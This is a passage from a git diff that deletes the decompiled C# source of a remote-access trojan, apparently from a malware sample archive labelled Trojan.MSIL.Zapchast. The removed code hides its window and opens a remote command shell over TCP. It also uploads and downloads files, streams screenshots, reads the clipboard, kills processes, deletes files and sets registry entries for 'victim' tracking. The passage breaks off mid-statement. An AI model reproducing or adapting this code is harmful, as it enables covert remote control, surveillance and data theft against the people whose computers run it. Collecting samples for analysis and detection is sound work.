2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - case 19: - goto label_23; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_18; - } - throw ProjectData.CreateProjectError(-2146828237); -label_23: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientsendetThumb( - Client_Dateitransfer.clienterverParameter parameter) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; -label_2: - num3 = 3; - FileStream fileStream = new FileStream(this.VonHier, FileMode.Open); -label_3: - num3 = 4; - byte[] numArray = new byte[checked ((int) (fileStream.Length - 1L) + 1)]; -label_4: - num3 = 5; - fileStream.Read(numArray, 0, numArray.Length); -label_5: - num3 = 6; - fileStream.Close(); -label_6: - num3 = 7; - parameter.writer.Write("SendFileThumb"); -label_7: - num3 = 8; - parameter.writer.Write(this.VictimNummer); -label_8: - num3 = 9; - parameter.writer.Write(this.VonHier); -label_9: - num3 = 10; - parameter.writer.Write(this.NachHier); -label_10: - num3 = 11; - parameter.writer.Write(numArray.Length); -label_11: - num3 = 12; - parameter.writer.Write(numArray); -label_12: - num3 = 13; - parameter.writer.Close(); -label_13: - num3 = 14; - parameter.reader.Close(); -label_14: - num3 = 15; - parameter.tcp_c.Close(); -label_15: - num3 = 16; - parameter.socketstream.Close(); -label_16: - num3 = 17; - parameter.tthread.Abort(); - goto label_23; -label_18: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - case 19: - goto label_23; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_18; - } - throw ProjectData.CreateProjectError(-2146828237); -label_23: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientempfängt( - Client_Dateitransfer.clienterverParameter parameter) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - parameter.writer.Write("GetFile"); -label_2: - num3 = 3; - parameter.writer.Write(this.VictimNummer); -label_3: - num3 = 4; - parameter.writer.Write(this.VonHier); -label_4: - num3 = 5; - parameter.writer.Write(this.NachHier); -label_5: - num3 = 6; - int count = parameter.reader.ReadInt32(); -label_6: - num3 = 7; - byte[] array = parameter.reader.ReadBytes(count); -label_7: - num3 = 8; - FileStream fileStream = new FileStream(this.NachHier, FileMode.Create, FileAccess.Write, FileShare.None); -label_8: - num3 = 9; - fileStream.Write(array, 0, count); -label_9: - num3 = 10; - fileStream.Close(); -label_10: - num3 = 11; - parameter.tthread.Abort(); - goto label_17; -label_12: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_17; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_12; - } - throw ProjectData.CreateProjectError(-2146828237); -label_17: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientempfängt_update( - Client_Dateitransfer.clienterverParameter parameter) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - parameter.writer.Write("UpdateFile"); -label_2: - num3 = 3; - parameter.writer.Write(this.VictimNummer); -label_3: - num3 = 4; - parameter.writer.Write(this.VonHier); -label_4: - num3 = 5; - parameter.writer.Write(this.NachHier); -label_5: - num3 = 6; - int count = parameter.reader.ReadInt32(); -label_6: - num3 = 7; - byte[] array = parameter.reader.ReadBytes(count); -label_7: - num3 = 8; - FileStream fileStream = new FileStream(this.NachHier, FileMode.Create, FileAccess.Write, FileShare.None); -label_8: - num3 = 9; - fileStream.Write(array, 0, count); -label_9: - num3 = 10; - fileStream.Close(); -label_10: - num3 = 11; - parameter.tthread.Abort(); - goto label_17; -label_12: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_17; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_12; - } - throw ProjectData.CreateProjectError(-2146828237); -label_17: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientstart_Screen() - { - this.Tcp_Client = new TcpClient(); - this.Tcp_Client.Connect(this.IpAdresse, this.Port); - BinaryWriter binaryWriter = new BinaryWriter((Stream) this.Tcp_Client.GetStream()); - BinaryReader binaryReader = new BinaryReader((Stream) this.Tcp_Client.GetStream()); - this.Screencap(new Client_Dateitransfer.clienterverParameter() - { - IpAdresse = this.IpAdresse, - Port = this.Port, - reader = binaryReader, - writer = binaryWriter, - tcp_c = this.Tcp_Client, - socketstream = this.Tcp_Client.GetStream() - }); - } - - public Bitmap CaptureScreen() - { - Bitmap bitmap = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size); - graphics.Dispose(); - return bitmap; - } - - public void JPEGCompression(Image Image, string OutPutFile, int Qualitiy) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) Qualitiy); - Image.Save(OutPutFile, imageEncoders[1], encoderParams); - } - - private void Screencap( - Client_Dateitransfer.clienterverParameter parameter) - { - parameter.writer.Write("Screen"); - while (true) - { - byte[] buffer = this.Image2ByteArray((Image) this.PicResizeByWidth((Image) this.CaptureScreen(), this.Qualität), ImageFormat.Png); - parameter.writer.Write(this.VictimNummer); - parameter.writer.Write(buffer.Length); - parameter.writer.Write(buffer); - Thread.Sleep(this.Wartezeit); - } - } - - public Bitmap PicResizeByWidth(Image SourceImage, int NewWidth) - { - int int32 = Convert.ToInt32(Decimal.Multiply(new Decimal((double) NewWidth / (double) SourceImage.Width), new Decimal(SourceImage.Height))); - Bitmap bitmap = new Bitmap(NewWidth, int32); - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; - graphics.DrawImage(SourceImage, new Rectangle(0, 0, NewWidth, int32)); - } - return bitmap; - } - - public byte[] Image2ByteArray(Image Bild, ImageFormat Bildformat) - { - MemoryStream memoryStream = new MemoryStream(); - Bild.Save((Stream) memoryStream, Bildformat); - memoryStream.Flush(); - return memoryStream.ToArray(); - } - - private struct clienterverParameter - { - public string IpAdresse; - public int Port; - public TcpClient tcp_c; - public NetworkStream socketstream; - public BinaryWriter writer; - public BinaryReader reader; - public Thread tthread; - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.cs deleted file mode 100644 index 994d4a50..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.cs +++ /dev/null @@ -1,1388 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Form1 -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.Globalization; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using zub.My; - -namespace zub -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("BackgroundWorker1")] - private BackgroundWorker _BackgroundWorker1; - [AccessedThroughProperty("BackgroundWorker2")] - private BackgroundWorker _BackgroundWorker2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - public StreamReader Stream_Reader; - public StreamWriter Stream_Writer; - public string SplitKey; - public string IpAdresse; - public int Port; - public int FilePort; - public string Computername; - public string Username; - public bool Usertyp; - public string VictimID; - public string AmaProfil; - public string AmaNachricht; - public string AmaGeschlecht; - public string AktuellesFenster; - public string System; - public string Systemsprache; - public string Version; - public string Notiz; - public string Flagg; - public string startUP; - public string firstrun; - public string oldEXE; - public string FileMelt; - public string FileMeltName; - public string victimNummer; - public bool shutdownAndRestart; - public string flagmeColor; - public string Logpfad; - public bool Spread; - public bool OnlineKeyloggerOn; - public bool OfflineKeyloggeron; - private ArrayList TList; - public Log Log; - public Reg data; - private object copy4ALL; - private string UpdateFolder; - private string Server_exe; - private string update_exe; - private string Updaterpfad; - private const string FileSplit = "mySPLITTkey"; - private string self; - private string[] Settings; - private Process CmdProzess; - private Thread AbhörThread; - public bool IsRunning; - private Client_Dateitransfer sc; - private const int SW_HIDE = 0; - private const int SW_NORMAL = 1; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.SplitKey = "#+~+#"; - this.Computername = MyProject.Computer.Name; - this.Username = Environment.UserName; - this.System = MyProject.Computer.Info.OSFullName; - this.Version = Application.ProductVersion; - this.Notiz = "infact..."; - this.Flagg = "at"; - this.startUP = Conversions.ToString(DateTime.Now); - this.oldEXE = "oldEXE.exe"; - this.shutdownAndRestart = false; - this.Logpfad = MyProject.Computer.FileSystem.SpecialDirectories.Temp; - this.Spread = true; - this.OnlineKeyloggerOn = false; - this.OfflineKeyloggeron = true; - this.TList = new ArrayList(); - this.Log = new Log(); - this.data = new Reg(); - this.copy4ALL = (object) MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData; - this.UpdateFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - this.Server_exe = this.UpdateFolder + "\\server.exe"; - this.update_exe = this.UpdateFolder + "\\update.exe"; - this.Updaterpfad = this.UpdateFolder + "\\updater.exe"; - this.IsRunning = false; - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.Form1); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.BackgroundWorker1 = new BackgroundWorker(); - this.BackgroundWorker2 = new BackgroundWorker(); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.Timer1.Interval = 3000; - this.Timer2.Enabled = true; - this.Timer2.Interval = 10000; - this.Timer3.Enabled = true; - this.ClientSize = new Size(116, 0); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = "Service"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - get => this._Timer2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual BackgroundWorker BackgroundWorker1 - { - get => this._BackgroundWorker1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = new DoWorkEventHandler(this.BackgroundWorker1_DoWork); - if (this._BackgroundWorker1 != null) - this._BackgroundWorker1.DoWork -= workEventHandler; - this._BackgroundWorker1 = value; - if (this._BackgroundWorker1 == null) - return; - this._BackgroundWorker1.DoWork += workEventHandler; - } - } - - internal virtual BackgroundWorker BackgroundWorker2 - { - get => this._BackgroundWorker2; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._BackgroundWorker2 = value; - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - get => this._Timer3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - [DllImport("kernel32", EntryPoint = "RtlMoveMemory", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern void CopyMemory(long Destination, long Source, int Length); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ShowWindow(long hwnd, long nCmdShow); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern void Sleep(long dwMilliseconds); - - public void HideApp(bool Hide) - { - try - { - if (Hide) - Form1.ShowWindow((long) this.Handle, 0L); - else - Form1.ShowWindow((long) this.Handle, 1L); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim vestecken des Fensters"); - ProjectData.ClearProjectError(); - } - } - - public void CMD_Start() - { - this.CmdProzess = new Process(); - this.CmdProzess.StartInfo.FileName = "cmd"; - this.CmdProzess.StartInfo.Arguments = (string) null; - this.CmdProzess.StartInfo.UseShellExecute = false; - this.CmdProzess.StartInfo.CreateNoWindow = true; - this.CmdProzess.StartInfo.RedirectStandardOutput = true; - this.CmdProzess.StartInfo.RedirectStandardError = true; - this.CmdProzess.StartInfo.RedirectStandardInput = true; - this.CmdProzess.Start(); - this.AbhörThread = new Thread(new ThreadStart(this.CMD_Abhören)); - this.AbhörThread.IsBackground = true; - this.AbhörThread.Start(); - this.IsRunning = true; - } - - public void CMD_Schreiben(string stext) - { - this.CmdProzess.StandardInput.WriteLine(stext); - this.CmdProzess.StandardInput.Flush(); - } - - private void CMD_Abhören() - { - while (true) - { - try - { - string str; - do - { - str = this.CmdProzess.StandardOutput.ReadLine(); - Encoding.Unicode.GetString(Encoding.UTF8.GetBytes(str)); - } - while (Operators.CompareString(str, "", false) == 0); - this.Senden("cmdanswer#+~+#" + str + "#+~+#"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Senden("cmdanswer#+~+#Verbindung zur CMD Console abgebrochen."); - ProjectData.ClearProjectError(); - } - } - } - - public void CMD_Beenden() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.IsRunning = false; -label_2: - num3 = 3; - this.AbhörThread.Abort(); -label_3: - num3 = 4; - this.CmdProzess.Kill(); - goto label_10; -label_5: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_10; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_5; - } - throw ProjectData.CreateProjectError(-2146828237); -label_10: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private void ausführen(string text) - { - try - { - string[] strArray = Strings.Split(text + this.SplitKey, this.SplitKey); - if (Operators.CompareString(strArray[0], "getTemp", false) == 0) - { - try - { - this.Senden("getTemp" + this.SplitKey + Environment.ExpandEnvironmentVariables("%tmp%") + this.SplitKey); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Information", false) == 0) - { - try - { - this.Senden("Information" + this.SplitKey + MyProject.Computer.Name + this.SplitKey + MyProject.User.Name + this.SplitKey + this.VictimID + this.SplitKey + this.AktuellesFenster + this.SplitKey + MyProject.Computer.Info.OSFullName + this.SplitKey + this.Systemsprache + this.SplitKey + this.Version + this.SplitKey + this.Notiz + this.SplitKey + Conversions.ToString(MyProject.Computer.Clock.LocalTime) + this.SplitKey + Environment.SystemDirectory.ToString() + this.SplitKey + Environment.ExpandEnvironmentVariables("%windir%") + this.SplitKey + Environment.ExpandEnvironmentVariables("%tmp%") + this.SplitKey + Application.ExecutablePath.ToString() + this.SplitKey + Environment.Version.ToString() + this.SplitKey); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Sende Prozesse", false) == 0) - { - try - { - string text1 = "Prozesse" + this.SplitKey; - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - text1 = text1 + process.ProcessName + "#~#" + Conversions.ToString(process.Id) + "#~#" + process.MainWindowTitle + "#~#" + this.SplitKey; - checked { ++index; } - } - this.Senden(text1); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Kill Prozess", false) == 0) - { - try - { - Process[] processesByName = Process.GetProcessesByName(strArray[1]); - int index = 0; - while (index < processesByName.Length) - { - processesByName[index].Kill(); - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "end", false) == 0) - { - try - { - Application.Exit(); - this.Close(); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "reconnect", false) == 0) - { - try - { - this.Stream_Reader.Close(); - this.Stream_Writer.Close(); - this.Timer1.Stop(); - Thread.Sleep(3000); - return; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Clealogs", false) == 0) - { - try - { - if (System.IO.File.Exists(Interaction.Environ("temp") + "\\log.lg")) - System.IO.File.Delete(Interaction.Environ("temp") + "\\log.lg"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Msgbox", false) == 0) - { - try - { - new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Form1.MsgBoxParameter msgBoxParameter; - this.ShowMsgBox(obj != null ? (Form1.MsgBoxParameter) obj : msgBoxParameter); - })) - { - IsBackground = true - }.Start((object) new Form1.MsgBoxParameter() - { - Head = strArray[1], - Body = strArray[2], - Style = strArray[3] - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "Inputbox", false) == 0) - { - try - { - new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Form1.MsgBoxParameter msgBoxParameter; - this.ShowInputbox(obj != null ? (Form1.MsgBoxParameter) obj : msgBoxParameter); - })) - { - IsBackground = true - }.Start((object) new Form1.MsgBoxParameter() - { - Head = strArray[1], - Body = strArray[2] - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "CMDstart", false) == 0) - { - try - { - if (!this.IsRunning) - { - this.CMD_Start(); - this.IsRunning = true; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "CMDsend", false) == 0) - { - try - { - this.CMD_Schreiben(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "CMDend", false) == 0) - { - try - { - if (this.IsRunning) - { - this.CMD_Beenden(); - this.IsRunning = false; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "sendthumbfile", false) == 0) - { - try - { - Client_Dateitransfer clientDateitransfer = new Client_Dateitransfer(); - Random random = new Random(); - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - string str = "thumb_" + Conversions.ToString(random.Next(1000, 9999)) + ".jpg"; - Image.FromFile(strArray[2]).GetThumbnailImage(100, 100, (Image.GetThumbnailImageAbort) null, new IntPtr()).Save(folderPath + "\\" + str, ImageFormat.Jpeg); - clientDateitransfer.VictimNummer = strArray[1]; - clientDateitransfer.VonHier = folderPath + "\\" + str; - clientDateitransfer.NachHier = strArray[3]; - clientDateitransfer.IpAdresse = this.IpAdresse; - clientDateitransfer.Port = this.FilePort; - clientDateitransfer.DateiSendenThumb(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "sendfile", false) == 0) - { - try - { - new Client_Dateitransfer() - { - VictimNummer = strArray[1], - VonHier = strArray[2], - NachHier = strArray[3], - IpAdresse = this.IpAdresse, - Port = this.FilePort - }.DateiSenden(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "gedfolders", false) == 0) - { - try - { - string text2 = "folders#+~+#"; - string[] directories = Directory.GetDirectories(strArray[1]); - int index = 0; - while (index < directories.Length) - { - DirectoryInfo directoryInfo = new DirectoryInfo(directories[index]); - text2 = text2 + directoryInfo.Name + "#++#" + directoryInfo.FullName + "#++#" + directoryInfo.Attributes.ToString() + "#++#" + "#+~+#"; - checked { ++index; } - } - this.Senden(text2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "getfiles", false) == 0) - { - try - { - string text3 = "files#+~+#"; - string[] files = Directory.GetFiles(strArray[1]); - int index = 0; - while (index < files.Length) - { - FileInfo fileInfo = new FileInfo(files[index]); - text3 = text3 + fileInfo.Name + "#++#" + fileInfo.FullName + "#++#" + fileInfo.Attributes.ToString() + "#++#" + Conversions.ToString(fileInfo.Length) + "#++#" + "#+~+#"; - checked { ++index; } - } - this.Senden(text3); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "gedfolders_H", false) == 0) - { - try - { - string text4 = "folders_H#+~+#"; - string[] directories = Directory.GetDirectories(strArray[1]); - int index = 0; - while (index < directories.Length) - { - DirectoryInfo directoryInfo = new DirectoryInfo(directories[index]); - text4 = text4 + directoryInfo.Name + "#++#" + directoryInfo.FullName + "#++#" + directoryInfo.Attributes.ToString() + "#++#" + "#+~+#"; - checked { ++index; } - } - this.Senden(text4); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "getfiles_H", false) == 0) - { - try - { - string text5 = "files_H#+~+#"; - string[] files = Directory.GetFiles(strArray[1]); - int index = 0; - while (index < files.Length) - { - FileInfo fileInfo = new FileInfo(files[index]); - text5 = text5 + fileInfo.Name + "#++#" + fileInfo.FullName + "#++#" + fileInfo.Attributes.ToString() + "#++#" + Conversions.ToString(fileInfo.Length) + "#++#" + "#+~+#"; - checked { ++index; } - } - this.Senden(text5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "getdirs", false) == 0) - { - try - { - string text6 = "dirs#+~+#"; - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - text6 = text6 + driveInfo.ToString() + "#+~+#"; - checked { ++index; } - } - this.Senden(text6); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "upfile", false) == 0) - { - try - { - new Client_Dateitransfer() - { - VictimNummer = strArray[1], - VonHier = strArray[2], - NachHier = strArray[3], - IpAdresse = this.IpAdresse, - Port = this.FilePort - }.DateiEmfpangen(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "screencapturestart", false) == 0) - { - try - { - this.victimNummer = strArray[1]; - this.sc = new Client_Dateitransfer(); - this.sc.VictimNummer = strArray[1]; - this.sc.IpAdresse = this.IpAdresse; - this.sc.Port = this.FilePort; - this.sc.ScreenCapp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "screencapturestop", false) == 0) - { - try - { - this.victimNummer = strArray[1]; - this.sc.ScreenStopp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "changeintervall", false) == 0) - { - try - { - this.sc.Wartezeit = Conversions.ToInteger(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "changequali", false) == 0) - { - try - { - this.sc.Qualität = Conversions.ToInteger(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "start", false) == 0) - { - try - { - Process.Start(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "keydown", false) == 0) - { - int num = (int) Interaction.MsgBox((object) strArray[1]); - try - { - MyProject.Computer.Keyboard.SendKeys(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "delete", false) == 0) - { - try - { - System.IO.File.Delete(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Directory.Delete(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "getclipboard", false) == 0) - { - try - { - this.Senden("clipboard#+~+#" + Clipboard.GetText()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "opensite", false) == 0) - { - try - { - Process process = new Process(); - if (Operators.CompareString(strArray[2], "Hidden", false) == 0) - { - process.StartInfo.WindowStyle = ProcessWindowStyle.Minimized; - Process.Start(strArray[1]); - } - Process.Start(strArray[1]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "getserver", false) == 0) - { - try - { - this.Senden("sendserverInfo#+~+#" + this.VictimID + "#+~+#" + this.Notiz); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "changeserver", false) == 0) - { - try - { - this.VictimID = strArray[1]; - this.Notiz = strArray[2]; - if (this.Usertyp) - { - Interaction.Shell("cmd.exe /c reg add HKLM\\Software\\WindowsSoftware /v Amateri-User /t REG_SZ /d " + this.VictimID + " /f", AppWinStyle.Hide); - Interaction.Shell("cmd.exe /c reg add HKLM\\Software\\WindowsSoftware /v Victem-Notiz /t REG_SZ /d " + this.Notiz + " /f", 